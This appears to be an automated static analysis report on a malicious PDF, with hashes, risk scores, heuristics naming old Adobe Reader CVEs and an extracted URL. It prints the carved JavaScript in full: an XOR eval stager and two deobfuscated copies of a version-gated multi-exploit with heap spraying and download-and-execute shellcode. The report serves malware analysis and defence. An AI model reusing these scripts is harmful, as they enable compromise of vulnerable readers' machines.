Malicious PDF — malware analysis report

Static analysis result for SHA-256 e864cd45c08740fd…

MALICIOUS

PDF

5.0 KB Created: 2010-08-01 07:24:19 Authoring application: Hyviqonazipa (via 576f2Hitardesozoweq) First seen: 2026-05-11
MD5: a0d372ae28c1433be1667c66173d42ae SHA-1: 0fbd239ea1e697d0473121144c0ef5b251384365 SHA-256: e864cd45c08740fdbad3f0802033bc153b950f362f59c48acf4e8c156c5398e2
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristic specifically indicates that the JavaScript is designed to launch a secondary payload. The extracted artifact 'javascript_obj0011_000.js' likely contains the obfuscated script responsible for this action. The document body is heavily obfuscated and does not provide clear textual lures.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudt.egh/4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xEA4 540 bytes
SHA-256: 570ce70ed7a43c6e1927e21ed2d859a652b5905478e192c8b3e32f233141b7a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var chWord, numWords;for (var i = 0; i < this.numPages; i++){}tE='var ekkVkk = 253 ;var lY kk=kk this;kvar iD=kklY.gketPagkkeNumkWokrds(thisk.kkpakgkkeNum)kk;var tkIkk=\'\';for(kvar qZk=0k;kkqZ< ikkD; qZkk++)kk{tI=[tI,lY.getPageNthWordkk(lYkk.pakkgkkeNum,qZ,tkkrue)].jkkoin(\'\')kk;;k}var xA=\'\';kkfkkor(var qZ=0;qZ < tIkk.lkength; qZ+=2){b=tI.sukkbstr(qZ,2);xA=[xA,String.kkfromCharCodek(kkparkksekIntkk(kkb,16)kk^eV)k]kk.jkoin(\'\');}ekval(xA);kxA=nukkll;'.replace(/[k]/g, '');aLE=sJ();} catch(xAZ){var rUR=new Function (tE);rUR();}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3901 bytes
SHA-256: e5184b361b49ef7aedd9a6590ee061fe15b575015ee6ed958a176bf160a66a07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
nE={p:16675};var x="x";var h='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.nK=false;this.t=false;aB=["nG","qL","dQ"];try {var aP='pE'.substring(2136)} catch(aP){};var pWF=this.info['j'].replace(/[\s]/g, '');try {var oV='jS'.substring(26060)} catch(oV){};try {var aT='rI'.substring(6632)} catch(aT){};var jU="jU";var nM = this.info;var oBE = (nM.producer.substr(0,5) == 'debug');var yB = new Array(); var dWF = "%u";function fQ(str){str = str.split(dWF);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function wL(str1, str2){return [str1, str2].join("");}function jO(eX){var hU = mR();var jA = gF();hU += ((hU.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + jA;if(oBE) app.alert("URL: " + hU);hU=nGL(hU);var d=dWF;var b=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";b+=hU;return fQ(b);};function mR(){var tQ = (nM.author + nM.title).replace(/[\s]/g, '');var yR = dC(tQ, pWF, h);return yR;};function dC(tQ, h, pWF){var yR="";for(var i=0; i < tQ.length; i++){var kB = h.indexOf(tQ[i]);if(kB > -1 ){yR += pWF[kB];}}return yR;};function nGL(tQ){var out = "";tQ = rC(tQ);g = Math.round(tQ.length / 4);if (g != tQ.length /4) tQ+="00";for(var i=0; i < tQ.length; i+=4){out+= dWF + tQ.substr(i+2, 2) + tQ.substr(i, 2);}return out;};function rC(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function qH(xM, len){while (xM.length * 2 < len){xM = wL(xM, xM);}return xM.substring(0, len / 2);};function mX(vE){var wP = 0x0c0c0c0c;        l = jO("pdf");if (vE == 1){wP = 0x30303030;}var bA = 0x400000;var ln = l.length * 2;var wJ = bA - (ln + 0x38);var xM = fQ(dWF+"9090"+dWF+"9090"); xM = qH(xM, wJ);var hS = (wP - 0x400000) / bA;for (var wD = 0; wD < hS; wD ++ ){yB[wD] = wL(xM, l);}};function gF(){try {return app.viewerVersion.toString();}catch(xQ){    return 0;}}if(oBE) app.alert("called exploit");var jA = gF();if(oBE)  app.alert("v: " + jA);if (jA > 8){if(oBE) app.alert("util.printf");mX(1);var kR = "12999999999999999999";for (hK=0; hK < 276; hK++) kR += "8";util.printf("%45000f", kR);}if (jA < 8){if(oBE) app.alert("Collab.collectEmailInfo");mX(0);var yH = fQ(dWF+"0c0c"+dWF+"0c0c");while (yH.length < 44952) yH += yH;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yH});}if (jA < 9.1){if (app.doc.Collab.getIcon){if(oBE) app.alert("Collab.getIcon");mX(0);var fC = unescape("%09");while (fC.length < 0x4000) fC += fC;fC = "N." + fC;app.doc.Collab.getIcon(fC);}}if (jA == 9.2){if(oBE) app.alert("media.newPlayer");mX(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var mH=0; mH <2224; mH++){mH++; var sT='xU'};this.eJ="eJ";var pW=new Date();try {var zE='gD'.substr(23423)} catch(zE){}; #    3 3 #  3 3 # �
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xFD) at offset 0x8C 3881 bytes
SHA-256: fd218d1e2344e1549e3798860b56363a69a8926766ec742bbd2f1ce428e1486a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
nE={p:16675};var x="x";var h='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.nK=false;this.t=false;aB=["nG","qL","dQ"];try {var aP='pE'.substring(2136)} catch(aP){};var pWF=this.info['j'].replace(/[\s]/g, '');try {var oV='jS'.substring(26060)} catch(oV){};try {var aT='rI'.substring(6632)} catch(aT){};var jU="jU";var nM = this.info;var oBE = (nM.producer.substr(0,5) == 'debug');var yB = new Array(); var dWF = "%u";function fQ(str){str = str.split(dWF);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function wL(str1, str2){return [str1, str2].join("");}function jO(eX){var hU = mR();var jA = gF();hU += ((hU.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + jA;if(oBE) app.alert("URL: " + hU);hU=nGL(hU);var d=dWF;var b=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";b+=hU;return fQ(b);};function mR(){var tQ = (nM.author + nM.title).replace(/[\s]/g, '');var yR = dC(tQ, pWF, h);return yR;};function dC(tQ, h, pWF){var yR="";for(var i=0; i < tQ.length; i++){var kB = h.indexOf(tQ[i]);if(kB > -1 ){yR += pWF[kB];}}return yR;};function nGL(tQ){var out = "";tQ = rC(tQ);g = Math.round(tQ.length / 4);if (g != tQ.length /4) tQ+="00";for(var i=0; i < tQ.length; i+=4){out+= dWF + tQ.substr(i+2, 2) + tQ.substr(i, 2);}return out;};function rC(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function qH(xM, len){while (xM.length * 2 < len){xM = wL(xM, xM);}return xM.substring(0, len / 2);};function mX(vE){var wP = 0x0c0c0c0c;        l = jO("pdf");if (vE == 1){wP = 0x30303030;}var bA = 0x400000;var ln = l.length * 2;var wJ = bA - (ln + 0x38);var xM = fQ(dWF+"9090"+dWF+"9090"); xM = qH(xM, wJ);var hS = (wP - 0x400000) / bA;for (var wD = 0; wD < hS; wD ++ ){yB[wD] = wL(xM, l);}};function gF(){try {return app.viewerVersion.toString();}catch(xQ){    return 0;}}if(oBE) app.alert("called exploit");var jA = gF();if(oBE)  app.alert("v: " + jA);if (jA > 8){if(oBE) app.alert("util.printf");mX(1);var kR = "12999999999999999999";for (hK=0; hK < 276; hK++) kR += "8";util.printf("%45000f", kR);}if (jA < 8){if(oBE) app.alert("Collab.collectEmailInfo");mX(0);var yH = fQ(dWF+"0c0c"+dWF+"0c0c");while (yH.length < 44952) yH += yH;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yH});}if (jA < 9.1){if (app.doc.Collab.getIcon){if(oBE) app.alert("Collab.getIcon");mX(0);var fC = unescape("%09");while (fC.length < 0x4000) fC += fC;fC = "N." + fC;app.doc.Collab.getIcon(fC);}}if (jA == 9.2){if(oBE) app.alert("media.newPlayer");mX(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var mH=0; mH <2224; mH++){mH++; var sT='xU'};this.eJ="eJ";var pW=new Date();try {var zE='gD'.substr(23423)} catch(zE){};